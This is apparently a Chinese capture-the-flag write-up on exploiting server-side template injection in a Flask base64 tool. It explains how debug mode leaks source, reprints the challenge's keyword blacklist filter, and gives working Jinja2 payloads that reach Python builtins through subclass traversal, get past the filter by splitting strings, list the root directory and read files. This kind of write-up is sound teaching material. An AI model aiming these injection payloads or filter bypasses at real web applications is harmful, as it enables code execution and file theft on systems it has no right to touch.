此题是flask的ssti服务器模板注入不太了解基础知识的可以看看这两篇文章:flask 之 ssti 模板注入学习_WHOAMIAnony的博客-CSDN博客_flask ssti注入 从零学习flask模板注入 - FreeBuf网络安全行业门户
打开环境,是一个用flask写的base64加密解密的工具:
既然是flask,就应该和SSTI注入有关,我们试试加密{{7*7}},得到e3s3Kjd9fQ==,再把它拿去解密,得到no no no !!说明应该有什么过滤,我们再试试{{7+7}},得到14,说明存在SSTI注入。再来试试命令执行,用{{system('ls')}},还是显示no no no!说明还是被过滤了。
我们并不知道具体过滤了些什么,这里有个提示:
结合此题是flask,应该是开启了flask中的debug模式,这个模式存在很大的安全隐患,主要有3点原因:
1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞
2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:文件解压之过 Python中的代码执行)
3、debug页面中包含Python的交互式shell,可以执行任意Python代码
对于debug模式的安全问题详细介绍可以看一下这两篇文章:Flask开启debug模式等于给黑客留了后门 - 知乎 (zhihu.com) Flask debug 模式 PIN 码生成机制安全性研究笔记 - HacTF - 博客园 (cnblogs.com)
那这个题的debug界面在哪呢?
就在解密base64那,随便输入一个错误的值,就会显示:
我们读取到文件的名字得到有关解密的关键代码:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') ://request.values.get是flask获取参数方式,能获取所有参数
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())//解密
tmp = "结果 : {0}".format(text_decode.decode())//format函数用于格式化字符
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)//flask的渲染方法有render_template和render_template_string两种,你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量(需要我们渲染参数)。**render_template()**是用来渲染一个指定的文件的。使用如下:return render_template(‘index.html’),render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
代码逻辑是获取text参数,进行解密,如果可以过waf则可以用render_template_string来渲染字符串并执行代码。
知道可以执行命令的点,下面就是构造payload执行命令了:
方便阅读写成这样,这是payload的模板:
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}
本题就该写成:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
最终是要写成一排的:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
为什么要这样写payload可以看看这两篇文章:【模板注入】SSTI命令执行payload分析_4ut15m's blog-CSDN博客 SSTI的payload构造思路_shawdow_bug的博客-CSDN博客
看完这两篇就懂为啥这样构造了,也就是说我们在执行命令前要先找到能够执行代码的模块,例如os.system模块,__builtins__模块等,一般来说,可以利用的函数有:open(), popen(), subprocess(), system()
主要过程就是:
此题因为是pyhon3,所以可以用文件操作的方式即上面的for循环。
将上面payload加密解密后的得到:
中间的 函数waf函数是:
def waf(str):
black_list = [ &
#34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, &
#34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, &
#34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, &
#34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, &
#34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34;
]
for x in black_list:
if x in str.lower(): //它将字符串中的所有大写字母转换为小写字母,并返回一个新字符串。
return 1@ app.route( '/hint&# 39;, methods = [ & #39;GET&# 39;])
从 black list大致知道了关键字,转码过来是:
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
另外会将字符转小写,所以没法通过lower方法或者base64、hex一下绕过,所以我们可以用字符拼接,我们在菜鸟教程中找到一个os.listdir() 方法,用于返回指定的文件夹包含的文件或文件夹的名字的列表。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
看到一个this_is_the_flag.txt
由于waf过滤了flag,所以我们对“flag”进行拼接:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
一些更多的绕过waf的方式:flask之ssti模板注入 · Xi4or0uji